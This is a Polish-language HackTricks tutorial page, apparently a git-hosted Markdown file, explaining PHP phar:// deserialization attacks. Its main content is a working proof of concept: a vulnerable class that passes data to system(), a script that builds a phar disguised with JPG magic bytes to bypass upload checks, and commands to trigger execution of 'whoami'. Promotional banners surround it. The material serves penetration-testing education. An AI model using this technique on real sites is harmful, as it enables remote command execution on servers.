hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

109 lines
5.3 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# Deserializacja phar://
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-11 01:46:25 +00:00
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na **Intigriti**, platformę do **nagród za błędy premium stworzoną przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
Pliki **Phar** (PHP Archive) zawierają metadane w formacie zserializowanym, więc, gdy są analizowane, te **metadane****deserializowane** i można próbować wykorzystać podatność na **deserializację** w kodzie **PHP**.
2021-03-19 23:08:07 +00:00
Najlepszą rzeczą w tej charakterystyce jest to, że ta deserializacja nastąpi nawet przy użyciu funkcji PHP, które nie ewaluują kodu PHP, takich jak **file\_get\_contents(), fopen(), file() lub file\_exists(), md5\_file(), filemtime() lub filesize()**.
2021-03-19 23:08:07 +00:00
2024-02-11 01:46:25 +00:00
Wyobraź sobie sytuację, w której możesz sprawić, że PHP na stronie internetowej pobierze rozmiar dowolnego pliku za pomocą protokołu **`phar://`**, a w kodzie znajdziesz **klasę** podobną do następującej:
2021-03-19 23:08:07 +00:00
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
2024-02-11 01:46:25 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
Możesz utworzyć plik **phar**, który po załadowaniu będzie **wykorzystywać tę klasę do wykonania dowolnych poleceń** w ten sposób:
2021-03-19 23:08:07 +00:00
{% code title="create_phar.php" %}
2021-03-19 23:08:07 +00:00
```php
<?php
class AnyClass {
2024-02-11 01:46:25 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
Zauważ, jak **magiczne bajty JPG** (`\xff\xd8\xff`) są dodawane na początku pliku phar, aby **obejść** **ewentualne** **ograniczenia** dotyczące **przesyłania** **plików**.\
2024-02-11 01:46:25 +00:00
**Skompiluj** plik `test.phar` za pomocą:
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_phar.php
```
I wykonaj polecenie `whoami` nadużywając podatnego kodu za pomocą:
2021-03-19 23:08:07 +00:00
```bash
php vuln.php
```
### Odnośniki
2022-05-24 00:07:19 +00:00
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
2021-03-19 23:08:07 +00:00
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie bug bounty **Intigriti**, stworzonej przez hakerów, dla hakerów! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>